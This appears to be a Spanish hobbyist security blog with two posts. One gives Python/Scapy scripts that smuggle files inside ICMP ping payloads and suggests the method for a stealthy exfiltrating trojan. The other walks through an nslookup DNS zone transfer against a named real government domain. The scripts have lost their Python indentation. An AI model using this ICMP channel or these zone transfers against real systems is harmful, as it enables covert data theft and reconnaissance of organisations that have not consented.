Enviando archivos con Ping

Estaba la otra tarde dándole vueltas al protocolo ICMP (llamarme raro), y se me ocurrió pensar algo un poco absurdo… aunque una vez buscada información en Internet, me dí cuenta que no soy el único tarado y que mi pregunta ya se la había hecho alguno que otro antes que yo.

Como decía, revisando el protocolo, a parte de la cabecera, datos de origen, destino, y unas cuantas cosas más, tenemos el campo de “payload” o carga del paquete. En principio es un campo más, que podemos utilizar o no.

Me pareció graciosa la opción de poder enviar mensajes a través de dichos paquetes, ya que podemos incorporar cadenas ASCII directamente a dicho campo, siendo visibles por ejemplo con WireShark esnifando paquetes o realizando un script en el equipo destino que nos extraiga dicha cadena del paquete recibido.

Y en estas en cuando se me ocurrió la tontería… ¿Y si en lugar de mandar cadenas ASCII, envío datos en binario? ¿Y si cojo un archivo cualquiera (imagen, pdf, …) y lo voy mandando en trocitos binarios y lo recompongo en el equipo destino?

Así que como me ocurre normalmente cuando se me pasan tonterías de estas por la cabeza, tuve que ponerme a probarlo inmediatamente.

Tengo que decir que me decanté por usar Python por dos motivos muy sencillos: el primero es que estoy aprendiendo este lenguaje desde hace un par de semanas. No lo había utilizado nunca, pero una vez que lo estoy conociendo, me encanta todo lo que se puede hacer y lo sencillo que resulta entenderlo, sobre todo si has programado en otros lenguajes antes. La segunda es que Python tiene una librería llamada “Scapy” que es fantástica para manipular y crear paquetes… A nivel de capa 3, a nivel de capa 2… TCP, UDP… diversos protocolos… y lo mejor de todo es que tú decides los datos que quieres para cada campo y si no rellenas alguno, no hay problema, Scapy pone los valores por defecto para todo lo que tú no modifiques, así que no hay problemas con checksum y demás cositas (sobre todo las que tienes que calcular a mano si usas sockets por ejemplo)…

Volviendo al tema que nos ocupa, creé un par de scripts en Python, uno para enviar el archivo y otro para recibir. Para realizar las pruebas, lo ideal sería tener cada uno en un equipo distinto, pero podemos aprovechar una ventaja del protocolo si queremos realizar las pruebas en el mismo equipo.

La carga del paquete Echo-Request, es devuelta en el paquete Echo-Reply por ejemplo cuando el equipo de destino no es accesible, así que lo que hay que hacer para que funcione en el mismo equipo es ejecutar los dos scripts, pero en el de envío poner UNA IP QUE NO EXISTA, como el paquete no va a llegar a destino y nos será devuelto con el contenido tal cuál, podemos leerlo con el script de lectura como si estuviésemos en otro equipo distinto.

¿Y todo esto para qué? Enviar un archivo de varios megas puede requerir horas… ya que sólo se puede enviar unos pocos bytes por paquete… y hay que darle un tiempo prudencial al script para procesar el paquete, así que aunque el protocolo ICMP sea muy rápido, está forzado a un sólo paquete por segundo.

Pues la respuesta es sencilla y es más de una.

1.- Primero investigar, probar y descubrir cosas nuevas. Si estás leyendo esta entrada, entenderás de lo que hablo. No podemos resistirnos a probar todo lo que se nos ocurre.

2.- Segundo, saber que pasa con esos paquetes si los hago pasar a través de un UTM por ejemplo. ¿Será detectado como paquete sospechoso o malicioso? ¿Pasará? Tengo que probarlo en la oficina en cuanto tenga tiempo.

3.- Buscar nuevos vectores de ataque. ¿Y si hacemos un troyano que se dedique a mandar un paquetito con información cada cierto tiempo, haciéndose casi indetectable y pudiendo atravesar reglas de firewall que permitan ping? Tardaría lo suyo pero, poco a poco, sería capaz de ir extrayendo información del equipo silenciosamente, que es una cosa muy interesante para los ciberdelincuentes y no suelen tener prisa cuando se consiguen datos de manera indetectable.

Así que me puse manos a la obra, y aquí están los dos script que escribí. Ya sé que falta control de errores, que se puede mejorar, que seguro que hay funciones más sencillas… EH! Quietos… Que ya os he dicho que llevo un par de semanas, y anda que no estoy contento con el resultado ;-D.

El modo de funcionamiento es sencillo.

1.- Lanzar el script “recibiricmp.py”, se quedará a la escucha de los paquetes ICMP que lleguen con la palabra clave en el campo payload.

2.- Lanzar el script “enviaricmp.py” con 2 parámetros. El primero la IP del equipo destino (si lo pruebas en el mismo equipo, UNA IP QUE NO EXISTA), y el segundo el nombre del archivo a transmitir.

Primero se envía un paquete con el nombre del archivo a transmitir y el número de partes que se enviarán, para poder mostrarlo en el equipo de destino, y que el usuario esté al corriente de cuantos paquetes tienen que llegar (y cuanto tiempo va a tardar, ya que va a un paquete por segundo… así que la cuenta es fácil…)

Luego se va enviando en archivo, abierto en binario, en trozos de 1000 bytes por paquete. El número de 1000, se puede variar, pero teniendo en cuenta el tamaño máximo de mensaje, que suele ser 1500 bytes. Si calculamos 1500 (Tamaño máximo) -20 (cabecera IP) -8 (cabecera ICMP) nos quedan 1472 bytes para rellenar. Por si hay algún dispositivo que no llega a los 1500, he decidido no aprovechar todo el tamaño, así que lo he dejado en 1000 bytes. Podéis modificarlo a gusto y probar qué pasa.

Cuando se han enviado todos los paquetes con partes del archivo, se envía uno con la palabra clave “fin” para que el equipo de destino termine automáticamente el script.

El archivo de destino, se va rellenando con los datos que van llegando agregándolos al final del archivo (append). Por ese motivo se borra el archivo de destino si existe antes de empezar y por eso lo de un paquete por segundo. Para que el orden sea el correcto y el archivo se reconstruya correctamente.

En un futuro, si ésto se utilizase para algo interesante, lo suyo sería a parte de agregar un control de errores, agregar a la carga un identificador que diga el número de paquete que es dentro del archivo, para que en caso de que lleguen desordenados, poderlos reorganizar correctamente…. pero lo dicho, ésto sólo era una prueba.

Y aquí están los dos scripts. No seáis  crueles por mi código de novato.

(TENER EN CUENTA LA INDENTACIÓN QUE NECESITA PYTHON PARA FUNCIONAR CORRECTAMENTE, QUE AQUÍ NO APARECE)

ENVIARICMP.PY


#!/usr/bin/python
#Script EnviarIcmp.py
#Oscar Navarrete Bermejo

import sys
from scapy.all import *

capa3 = IP()
capa3.dst = sys.argv[1]
capa4 = ICMP()

password = "password"
longitud = 1000

fp = open(sys.argv[2],"rb")
data = fp.read()
fp.close()

ini = 0
fin = (longitud)
contador = (len(data)/longitud)+1

print "Se va a enviar el archivo " + sys.argv[2] + " con una longitud de %s" % len(data)
print "Enviando %s partes a la IP %s" % (contador,sys.argv[1])

payload = "nombre" + sys.argv[2] + "," + str(contador)
pkt = capa3/capa4/payload
a = sr(pkt, verbose = 0, retry = 0, timeout = 1)

for a in range(0, contador):
print "Enviando la parte %s de %s" %(a + 1, contador)
payload = password + data[ini:fin]
pkt = capa3/capa4/payload
a = sr(pkt, verbose = 0, retry = 0, timeout = 1)
ini += longitud
fin += longitud

payload = "fin"
pkt = capa3/capa4/payload
a = sr(pkt, verbose = 0, retry = 0, timeout = 1)

print "Se han terminado de enviar los datos"

RECIBIRICMP.PY


#!/usr/bin/python
#Script RecibirIcmp.py
#Oscar Navarrete Bermejo

import os.path
import subprocess
from scapy.all import *

contenido = ""
contador = 0
partes = 0
nombre = ""
vector = ""

def recibir(pkt):
global contenido, contador, partes, nombre
if ICMP in pkt and pkt[ICMP].type == 8 and pkt[ICMP].load[0:6] == "nombre":
contenido = pkt[ICMP].load[6:]
vector = contenido.split(",")
nombre = vector[0]
partes = vector[1]
if os.path.isfile("recibido_" + nombre):
print "El fichero existe, lo elimino primero..."
subprocess.call(["rm","recibido_" + nombre])
print "Fichero eliminado..."
print "Se va a recibir el archivo " + nombre
print "Partes Totales: " + partes
elif ICMP in pkt and pkt[ICMP].type == 8 and pkt[ICMP].load[0:8] == "password":
f = open("recibido_" + nombre,"ab")
datos = pkt[ICMP].load[8:]
print >>f, datos,
f.close()
contador += 1
print "Se ha recibido la parte %s de %s" %(contador,partes)
elif ICMP in pkt and pkt[ICMP].type == 8 and pkt[ICMP].load[0:3] == "fin":
print "Recepcion completada, saliendo del programa..."
exit(0)

print "Esperando la llegada de los paquetes..."

paquetes = sniff(iface="eth0", prn=recibir)

Click en la imagen para agrandar.

icmp

Espero que os haya parecido interesante la entrada.

Saludos y hasta la próxima.

Transferencia de zona DNS

Hoy os voy a hablar sobre las transferencias de zona DNS.

En principio, no es una novedad, ni pretendo descubrir la pólvora con ésto, pero es una de esas cosas que todo el mundo sabe que está ahí, que lleva tiempo entre nosotros y que tal vez, por eso mismo, nadie repara, remedia o evita.

Como todos sabéis la resolución de nombres en Internet se realiza mediante servidores DNS, los cuales transforman nuestras peticiones de nombres en direcciones IP que nuestro navegador o programa utiliza para realizar la conexión.  El caso es, que estas resoluciones DNS no sólo sirven para navegar por Internet, y son fundamentales para otros servicios, incluso dentro de nuestra Intranet.

Por ejemplo, Active Directory y los servicios de dominio de Microsoft, no pueden funcionar sin DNS y por eso es un rol obligatorio a tener en algún servidor de nuestra red al implementar los servicios de AD.

Siguiendo con la teoría, los servidores DNS deberían poder replicar sus registros entre varios servidores, por redundancia y seguridad de nuestras operaciones. El servicio DNS está preparado para indicarle a qué servidores se les permite realizar las transferencias de zona para que sólo se pueda realizar el volcado de esos datos a nuestros servidores conocidos y controlados.

El problema viene cuando esos parámetros no se configuran (por dejadez casi siempre) y se permite realizar una petición de transferencia de zona desde cualquier equipo (y cualquier equipo incluye interno o externo a nuestra red).

Si además tenemos configurado el DNS de internet, junto con nuestro DNS de AD (error no separar ambos servicios), podremos tener un listado completo de todos los equipos de una red, sus IP’s, e incluso poder hacernos una idea algo aproximada de su estructura física (departamentos, servidores, impresoras…).

Este fallo suele ser más común de lo que parece, y no hay que investigar durante horas en Internet para encontrar un servidor que no esté bien configurado, y no se limita a pequeñas empresas con pocos recursos. De hecho, podéis hacer transferencias de zona de la Diputación Provincial de Zaragoza, por ejemplo.

El método no puede ser más sencillo.

1.- Abrir una ventana de comandos, y ejecutar “nslookup”.

2.- Una vez abierto el prompt de nslookup, seleccionar el tipo de servidor que buscamos para el dominio deseado. En nuestro caso, buscamos servidores de DNS, así que teclearemos “set type=NS”.

3.- Una vez seleccionado el tipo de servidor, escribimos el dominio del que queremos conocer sus servidores DNS. Por ejemplo “dpz.es”. Ésto nos devuelve los dos servidores DNS autoritativos para ese dominio concreto.

4.- Seleccionamos uno de los servidores tecleando “server dns.dpz.es” para seleccionar dicho servidor. A partir de ahora, todas las consultas las realizamos a ese servidor que hemos seleccionado.

5.- Sólo nos queda teclear “ls dpz.es” para pedir un listado de todos los registros que tiene ese servidor DNS para el dominio “dpz.es”.

Como vemos, podemos conocer todos los equipos que forman la red, pero lo más grave es que podemos encontrar vectores de ataque olvidados y que nadie recuerda que hubiesen estado abiertos a internet, o páginas que no deberían ser conocidas públicamente,  páginas web obsoletas, pruebas, servidores ESX publicados, conexiones RDP, etc…

Solucionar este fallo de configuración es sencillo, sólo hay que decirles a nuestros servidores DNS desde qué otras IP pueden recibir peticiones de transferencia de zona.

Sencillo, pero olvidado.

Saludos y hasta la próxima.